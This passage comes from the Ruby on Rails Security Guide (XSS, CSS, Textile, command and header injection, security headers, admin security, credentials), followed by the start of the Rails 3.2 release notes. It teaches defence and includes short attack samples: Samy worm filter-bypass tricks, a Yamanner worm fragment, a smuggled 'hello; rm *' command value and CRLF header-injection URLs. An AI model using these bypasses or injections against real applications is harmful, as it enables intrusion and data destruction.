  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
```

This example pops up a message box. It will be recognized by the above `sanitize()` filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/). Rails' `sanitize()` method does a good job to fend off encoding attacks.

#### [7.3.3. Examples from the Underground](#examples-from-the-underground)

*In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.*

The following is an excerpt from the [Js.Yamanner@m Yahoo! Mail worm](https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=12d8d106-1137-4d7c-8bb4-3ea1faec83fa). It appeared on June 11, 2006 and was the first webmail interface worm:

```
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
```

The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why restricted list filters are never complete and why it is hard to allow HTML/JavaScript in a web application.

Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.

In December 2006, 34,000 actual usernames and passwords were stolen in a [MySpace phishing attack](https://www.schneier.com/essays/archives/2006/12/myspace_passwords_ar.html). The idea of the attack was to create a profile page named "login\_home\_index\_html", so the URL looked very convincing. Specially-crafted HTML and CSS were used to hide the genuine MySpace content from the page and instead display its own login form.

### [7.4. CSS Injection](#css-injection)

*CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari, and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.*

CSS Injection is explained best by the well-known [MySpace Samy worm](https://samy.pl/myspace/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm.

MySpace blocked many tags, but allowed CSS. So the worm's author put JavaScript into CSS like this:

```
<div style="background:url('javascript:alert(1)')">
```

So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy `eval()` function which executes any string as code.

```
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
```

The `eval()` function is a nightmare for restricted list input filters, as it allows the style attribute to hide the word "innerHTML":

```
alert(eval('document.body.inne' + 'rHTML'));
```

The next problem was MySpace filtering the word `"javascript"`, so the author used `"java<NEWLINE>script"` to get around this:

```
<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">
```

Another problem for the worm's author was the [CSRF security tokens](#cross-site-request-forgery-csrf). Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.

In the end, he got a 4 KB worm, which he injected into his profile page.

The [moz-binding](https://securiteam.com/securitynews/5LP051FHPE) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).

#### [7.4.1. Countermeasures](#css-injection-countermeasures)

This example, again, showed that a restricted list filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good permitted CSS filter. *If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application*. Use Rails' `sanitize()` method as a model for a permitted CSS filter, if you really need one.

### [7.5. Textile Injection](#textile-injection)

If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](https://github.com/jgarber/redcloth) is such a language for Ruby, but without precautions, it is also vulnerable to XSS.

For example, RedCloth translates `_test_` to `<em>test<em>`, which makes the text italic. However, RedCloth doesn’t filter unsafe html tags by default:

```
RedCloth.new("<script>alert(1)</script>").to_html
# => "<script>alert(1)</script>"
```

Use the `:filter_html` option to remove HTML which was not created by the Textile processor.

```
RedCloth.new("<script>alert(1)</script>", [:filter_html]).to_html
# => "alert(1)"
```

However, this does not filter all HTML, a few tags will be left (by design), for example `<a>`:

```
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
```

#### [7.5.1. Countermeasures](#textile-injection-countermeasures)

It is recommended to *use RedCloth in combination with a permitted input filter*, as described in the countermeasures against XSS section.

### [7.6. Ajax Injection](#ajax-injection)

*The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.*

If you use the [in\_place\_editor plugin](https://rubygems.org/gems/in_place_editing), or actions that return a string, rather than rendering a view, *you have to escape the return value in the action*. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the `h()` method.

### [7.7. Command Line Injection](#command-line-injection)

*Use user-supplied command line parameters with caution.*

If your application has to execute commands in the underlying operating system, there are several methods in Ruby: `system(command)`, `exec(command)`, `spawn(command)` and `` `command` ``. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (`;`) or a vertical bar (`|`).

```
user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# prints "hello", and deletes files in the current directory
```

A countermeasure is to *use the `system(command, parameters)` method which passes command line parameters safely*.

```
system("/bin/echo", "hello; rm *")
# prints "hello; rm *" and does not delete files
```

#### [7.7.1. Kernel#open's Vulnerability](#kernel-open-s-vulnerability)

`Kernel#open` executes OS command if the argument starts with a vertical bar (`|`).

```
open("| ls") { |file| file.read }
# returns file list as a String via `ls` command
```

Countermeasures are to use `File.open`, `IO.open` or `URI#open` instead. They don't execute an OS command.

```
File.open("| ls") { |file| file.read }
# doesn't execute `ls` command, just opens `| ls` file if it exists

IO.open(0) { |file| file.read }
# opens stdin. doesn't accept a String as the argument

require "open-uri"
URI("https://example.com").open { |file| file.read }
# opens the URI. `URI()` doesn't accept `| ls`
```

### [7.8. Header Injection](#header-injection)

*HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS, or HTTP response splitting.*

HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie, and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. *Remember to escape these header fields, too.* For example when you display the user agent in an administration area.

Besides that, it is *important to know what you are doing when building response headers partly based on user input.* For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:

```
redirect_to params[:referer]
```

What happens is that Rails puts the string into the `Location` header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:

```
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
```

And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:

```
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
```

Note that `%0d%0a` is URL-encoded for `\r\n` which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.

```
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld
```

So *attack vectors for Header Injection are based on the injection of CRLF characters in a header field.* And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. *Make sure you do it yourself when you build other header fields with user input.*

#### [7.8.1. DNS Rebinding and Host Header Attacks](#dns-rebinding-and-host-header-attacks)

DNS rebinding is a method of manipulating resolution of domain names that is commonly used as a form of computer attack. DNS rebinding circumvents the same-origin policy by abusing the Domain Name System (DNS) instead. It rebinds a domain to a different IP address and then compromises the system by executing random code against your Rails app from the changed IP address.

It is recommended to use the `ActionDispatch::HostAuthorization` middleware to guard against DNS rebinding and other Host header attacks. It is enabled by default in the development environment, you have to activate it in production and other environments by setting the list of allowed hosts. You can also configure exceptions and set your own response app.

```
Rails.application.config.hosts << "product.com"

Rails.application.config.host_authorization = {
  # Exclude requests for the /healthcheck/ path from host checking
  exclude: ->(request) { request.path.include?("healthcheck") },
  # Add custom Rack application for the response
  response_app: -> env do
    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
  end
}
```

You can read more about it in the [`ActionDispatch::HostAuthorization` middleware documentation](/configuring.html#actiondispatch-hostauthorization)

#### [7.8.2. Response Splitting](#response-splitting)

If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:

```
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html


HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
```

Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. *In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.*

## [8. Unsafe Query Generation](#unsafe-query-generation)

Due to the way Active Record interprets parameters in combination with the way that Rack parses query parameters it was possible to issue unexpected database queries with `IS NULL` where clauses. As a response to that security issue ([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ), [CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ) and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ)) `deep_munge` method was introduced as a solution to keep Rails secure by default.

Example of vulnerable code that could be used by attacker, if `deep_munge` wasn't performed is:

```
unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end
```

When `params[:token]` is one of: `[nil]`, `[nil, nil, ...]` or `['foo', nil]` it will bypass the test for `nil`, but `IS NULL` or `IN ('foo', NULL)` where clauses still will be added to the SQL query.

To keep Rails secure by default, `deep_munge` replaces some of the values with `nil`. Below table shows what the parameters look like based on `JSON` sent in request:

| JSON                              | Parameters               |
| --------------------------------- | ------------------------ |
| `{ "person": null }`              | `{ :person => nil }`     |
| `{ "person": [] }`                | `{ :person => [] }`      |
| `{ "person": [null] }`            | `{ :person => [] }`      |
| `{ "person": [null, null, ...] }` | `{ :person => [] }`      |
| `{ "person": ["foo", null] }`     | `{ :person => ["foo"] }` |

It is possible to return to old behavior and disable `deep_munge` configuring your application if you are aware of the risk and know how to handle it:

```
config.action_dispatch.perform_deep_munge = false
```

## [9. HTTP Security Headers](#http-security-headers)

To improve the security of your application, Rails can be configured to return HTTP security headers. Some headers are configured by default; others need to be explicitly configured.

### [9.1. Default Security Headers](#default-security-headers)

By default Rails is configured to return the following response headers. Your application returns these headers for every HTTP response.

#### [9.1.1. `X-Frame-Options`](#x-frame-options)

The [`X-Frame-Options`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) header indicates if a browser can render the page in a `<frame>`, `<iframe>`, `<embed>` or `<object>` tag. This header is set to `SAMEORIGIN` by default to allow framing on the same domain only. Set it to `DENY` to deny framing at all, or remove this header completely if you want to allow framing on all domains.

#### [9.1.2. `X-XSS-Protection`](#x-xss-protection)

A [deprecated legacy header](https://owasp.org/www-project-secure-headers/#x-xss-protection), set to `0` in Rails by default to disable problematic legacy XSS auditors.

#### [9.1.3. `X-Content-Type-Options`](#x-content-type-options)

The [`X-Content-Type-Options`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options) header is set to `nosniff` in Rails by default. It stops the browser from guessing the MIME type of a file.

#### [9.1.4. `X-Permitted-Cross-Domain-Policies`](#x-permitted-cross-domain-policies)

This header is set to `none` in Rails by default. It disallows Adobe Flash and PDF clients from embedding your page on other domains.

#### [9.1.5. `Referrer-Policy`](#referrer-policy)

The [`Referrer-Policy`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy) header is set to `strict-origin-when-cross-origin` in Rails by default. For cross-origin requests, this only sends the origin in the Referer header. This prevents leaks of private data that may be accessible from other parts of the full URL, such as the path and query string.

#### [9.1.6. Configuring the Default Headers](#configuring-the-default-headers)

These headers are configured by default as follows:

```
config.action_dispatch.default_headers = {
  "X-Frame-Options" => "SAMEORIGIN",
  "X-XSS-Protection" => "0",
  "X-Content-Type-Options" => "nosniff",
  "X-Permitted-Cross-Domain-Policies" => "none",
  "Referrer-Policy" => "strict-origin-when-cross-origin"
}
```

You can override these or add extra headers in `config/application.rb`:

```
config.action_dispatch.default_headers["X-Frame-Options"] = "DENY"
config.action_dispatch.default_headers["Header-Name"]     = "Value"
```

Or you can remove them:

```
config.action_dispatch.default_headers.clear
```

### [9.2. `Strict-Transport-Security` Header](#strict-transport-security-header)

The HTTP [`Strict-Transport-Security`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security) (HSTS) response header makes sure the browser automatically upgrades to HTTPS for current and future connections.

The header is added to the response when enabling the `force_ssl` option:

```
config.force_ssl = true
```

### [9.3. `Content-Security-Policy` Header](#content-security-policy-header)

To help protect against XSS and injection attacks, it is recommended to define a [`Content-Security-Policy`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) response header for your application. Rails provides a DSL that allows you to configure the header.

Define the security policy in the appropriate initializer:

```
# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https
  # Specify URI for violation reports
  policy.report_uri "/csp-violation-report-endpoint"
end
```

The globally configured policy can be overridden on a per-resource basis:

```
class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.upgrade_insecure_requests true
    policy.base_uri "https://www.example.com"
  end
end
```

Or it can be disabled:

```
class LegacyPagesController < ApplicationController
  content_security_policy false, only: :index
end
```

Use lambdas to inject per-request values, such as account subdomains in a multi-tenant application:

```
class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  end
end
```

#### [9.3.1. Reporting Violations](#reporting-violations)

Enable the [`report-uri`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri) directive to report violations to the specified URI:

```
Rails.application.config.content_security_policy do |policy|
  policy.report_uri "/csp-violation-report-endpoint"
end
```

When migrating legacy content, you might want to report violations without enforcing the policy. Set the [`Content-Security-Policy-Report-Only`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only) response header to only report violations:

```
Rails.application.config.content_security_policy_report_only = true
```

Or override it in a controller:

```
class PostsController < ApplicationController
  content_security_policy_report_only only: :index
end
```

#### [9.3.2. Adding a Nonce](#adding-a-nonce)

If you are considering `'unsafe-inline'`, consider using nonces instead. [Nonces provide a substantial improvement](https://www.w3.org/TR/CSP3/#security-nonces) over `'unsafe-inline'` when implementing a Content Security Policy on top of existing code.

```
# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.script_src :self, :https
end

Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }
```

There are a few tradeoffs to consider when configuring the nonce generator. Using `SecureRandom.base64(16)` is a good default value, because it will generate a new random nonce for each request. However, this method is incompatible with [conditional GET caching](caching_with_rails.html#conditional-gets) because new nonces will result in new ETag values for every request. An alternative to per-request random nonces would be to use the session id:

```
Rails.application.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }
```

This generation method is compatible with ETags, however its security depends on the session id being sufficiently random and not being exposed in insecure cookies.

By default, nonces will be applied to `script-src` and `style-src` if a nonce generator is defined. `config.content_security_policy_nonce_directives` can be used to change which directives will use nonces:

```
Rails.application.config.content_security_policy_nonce_directives = %w(script-src)
```

Once nonce generation is configured in an initializer, automatic nonce values can be added to script tags by passing `nonce: true` as part of `html_options`:

```
<%= javascript_tag nonce: true do -%>
  alert('Hello, World!');
<% end -%>
```

The same works with `javascript_include_tag` and the `stylesheet_link_tag`:

```
<%= javascript_include_tag "script", nonce: true %>
<%= stylesheet_link_tag "style.css", nonce: true %>
```

To automatically attach a nonce to `javascript_tag`, `javascript_include_tag`, and `stylesheet_link_tag` if the corresponding directives are specified in `config.content_security_policy_nonce_directives`, you can set `config.content_security_policy_nonce_auto` to `true`:

```
Rails.application.config.content_security_policy_nonce_auto = true
```

This is especially useful for 3rd-party views when using nonce-based source expressions in your Content Security Policy.

Be mindful of caching. Since the nonce is typically generated per request, enabling this may lead to cache fragmentation or stale content if your caching strategy doesn't account for dynamic nonces.

Use [`csp_meta_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/CspHelper.html#method-i-csp_meta_tag) helper to create a meta tag "csp-nonce" with the per-session nonce value for allowing inline `<script>` tags.

```
<head>
  <%= csp_meta_tag %>
</head>
```

This is used by the Rails UJS helper to create dynamically loaded inline `<script>` elements.

### [9.4. `Feature-Policy` Header](#feature-policy-header)

The `Feature-Policy` header has been renamed to `Permissions-Policy`. The `Permissions-Policy` requires a different implementation and isn't yet supported by all browsers. To avoid having to rename this middleware in the future, we use the new name for the middleware but keep the old header name and implementation for now.

To allow or block the use of browser features, you can define a [`Feature-Policy`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy) response header for your application. Rails provides a DSL that allows you to configure the header.

Define the policy in the appropriate initializer:

```
# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
  policy.camera      :none
  policy.gyroscope   :none
  policy.microphone  :none
  policy.usb         :none
  policy.fullscreen  :self
  policy.payment     :self, "https://secure.example.com"
end
```

The globally configured policy can be overridden on a per-resource basis:

```
class PagesController < ApplicationController
  permissions_policy do |policy|
    policy.geolocation "https://example.com"
  end
end
```

### [9.5. Cross-Origin Resource Sharing](#cross-origin-resource-sharing)

Browsers restrict cross-origin HTTP requests initiated from scripts. If you want to run Rails as an API, and run a frontend app on a separate domain, you need to enable [Cross-Origin Resource Sharing](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) (CORS).

You can use the [Rack CORS](https://github.com/cyu/rack-cors) middleware for handling CORS. If you've generated your application with the `--api` option, Rack CORS has probably already been configured and you can skip the following steps.

To get started, add the rack-cors gem to your Gemfile:

```
gem "rack-cors"
```

Next, add an initializer to configure the middleware:

```
# config/initializers/cors.rb
Rails.application.config.middleware.insert_before 0, Rack::Cors do
  allow do
    origins "example.com"

    resource "*",
      headers: :any,
      methods: [:get, :post, :put, :patch, :delete, :options, :head]
  end
end
```

## [10. Intranet and Admin Security](#intranet-and-admin-security)

Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.

In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" website of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

### [10.1. Cross-Site Scripting](#cross-site-scripting)

If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.

Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.

Refer to the Injection section for countermeasures against XSS.

### [10.2. Cross-Site Request Forgery](#cross-site-request-forgery)

Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.

A real-world example is a router reconfiguration by CSRF. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for the user, but it also contained an image tag that resulted in an HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake website and had their credentials stolen.

Another example changed Google Adsense's e-mail address and password. If the victim was logged into Google Adsense, the administration interface for Google advertisement campaigns, an attacker could change the credentials of the victim.

Another popular attack is to spam your web application, your blog, or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.

For *countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section*.

### [10.3. Additional Precautions](#additional-precautions)

The common admin interface works like this: it's located at [www.example.com/admin](http://www.example.com/admin), may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:

* It is very important to *think about the worst case*: What if someone really got hold of your cookies or user credentials. You could *introduce roles* for the admin interface to limit the possibilities of the attacker. Or how about *special login credentials* for the admin interface, other than the ones used for the public part of the application. Or a *special password for very serious actions*?

* Does the admin really have to access the interface from everywhere in the world? Think about *limiting the login to a bunch of source IP addresses*. Examine request.remote\_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.

* *Put the admin interface to a special subdomain* such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, [www.application.com](http://www.application.com), impossible. This is because of the same origin policy in your browser: An injected (XSS) script on [www.application.com](http://www.application.com) may not read the cookie for admin.application.com and vice-versa.

## [11. Environmental Security](#environmental-security)

It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, master key for `credentials.yml`, and other unencrypted secrets. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.

### [11.1. Custom Credentials](#custom-credentials)

Rails stores secrets in `config/credentials.yml.enc`, which is encrypted and hence cannot be edited directly. Rails uses `config/master.key` or alternatively looks for the environment variable `ENV["RAILS_MASTER_KEY"]` to encrypt the credentials file. Because the credentials file is encrypted, it can be stored in version control, as long as the master key is kept safe.

By default, the credentials file contains the application's `secret_key_base`. It can also be used to store other secrets such as access keys for external APIs.

To edit the credentials file, run `bin/rails credentials:edit`. This command will create the credentials file if it does not exist. Additionally, this command will create `config/master.key` if no master key is defined.

Secrets kept in the credentials file are accessible via `Rails.application.credentials`. For example, with the following decrypted `config/credentials.yml.enc`:

```
secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
  access_key_id: 1234AB
```

`Rails.application.credentials.some_api_key` returns `"SOMEKEY"`. `Rails.application.credentials.system.access_key_id` returns `"1234AB"`.

If you want an exception to be raised when some key is blank, you can use the bang version:

```
# When some_api_key is blank...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank
```

Learn more about credentials with `bin/rails credentials:help`.

Keep your master key safe. Do not commit your master key.

## [12. Dependency Management and CVEs](#dependency-management-and-cves)

We don’t bump dependencies just to encourage use of new versions, including for security issues. This is because application owners need to manually update their gems regardless of our efforts. Use `bundle update --conservative gem_name` to safely update vulnerable dependencies.

## [13. Additional Resources](#additional-resources)

The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:

* Subscribe to the Rails security [mailing list](https://discuss.rubyonrails.org/c/security-announcements/9).
* [Mozilla's Web Security Guidelines](https://infosec.mozilla.org/guidelines/web_security.html) - Recommendations on topics covering Content Security Policy, HTTP headers, Cookies, TLS configuration, etc.
* A [good set of security resources](https://owasp.org/), notably the [Cheat Sheet Series](https://cheatsheetseries.owasp.org/index.html), with for example the [Cross-Site Scripting Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/3_2_release_notes.html
----

***

## [1. Upgrading to Rails 3.2](#upgrading-to-rails-3-2)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:

### [1.1. Rails 3.2 requires at least Ruby 1.8.7](#rails-3-2-requires-at-least-ruby-1-8-7)

Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.

### [1.2. What to update in your apps](#what-to-update-in-your-apps)

* Update your `Gemfile` to depend on

  * `rails = 3.2.0`
  * `sass-rails ~> 3.2.3`
  * `coffee-rails ~> 3.2.1`
  * `uglifier >= 1.0.3`

* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.

* There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`:

  ```
  # Raise exception on mass assignment protection for Active Record models
  config.active_record.mass_assignment_sanitizer = :strict

  # Log the query plan for queries taking more than this (works
  # with SQLite, MySQL, and PostgreSQL)
  config.active_record.auto_explain_threshold_in_seconds = 0.5
  ```

  The `mass_assignment_sanitizer` config also needs to be added in `config/environments/test.rb`:

  ```
  # Raise exception on mass assignment protection for Active Record models
  config.active_record.mass_assignment_sanitizer = :strict
  ```

### [1.3. What to update in your engines](#what-to-update-in-your-engines)

Replace the code beneath the comment in `script/rails` with the following content:

```
ENGINE_ROOT = File.expand_path('../..', __FILE__)
ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)

require "rails/all"
require "rails/engine/commands"
```

## [2. Creating a Rails 3.2 application](#creating-a-rails-3-2-application)

```
# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp
```

### [2.1. Vendoring Gems](#vendoring-gems)

Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: [Bundler homepage](https://bundler.io/)

### [2.2. Living on the Edge](#living-on-the-edge)

`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:

```
$ rails new myapp --edge
```

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:

```
$ ruby /path/to/rails/railties/bin/rails new myapp --dev
```

## [3. Major Features](#major-features)

### [3.1. Faster Development Mode & Routing](#faster-development-mode-routing)

Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [Active Reload](https://github.com/paneq/active_reload), Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new [Journey](https://github.com/rails/journey) engine.

### [3.2. Automatic Query Explains](#automatic-query-explains)

Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations.

Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed.

### [3.3. Tagged Logging](#tagged-logging)

When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.

## [4. Documentation](#documentation)

From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.

## [5. Railties](#railties)

* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false.

* New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of `0.5` in `development.rb` and commented out in `production.rb`. No mention in `test.rb`.

* Added `config.exceptions_app` to set the exceptions application invoked by the `ShowException` middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.

* Added a `DebugExceptions` middleware which contains features extracted from `ShowExceptions` middleware.

* Display mounted engines' routes in `rake routes`.

* Allow to change the loading order of railties with `config.railties_order` like:

  ```
  config.railties_order = [Blog::Engine, :main_app, :all]
  ```

* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.

* Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.

* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time `rails new` runs in the `.railsrc` configuration file in your home directory.

* Add an alias `d` for `destroy`. This works for engines too.

* Attributes on scaffold and model generators default to string. This allows the following: `bin/rails g scaffold Post title body:text author`

* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,

  ```
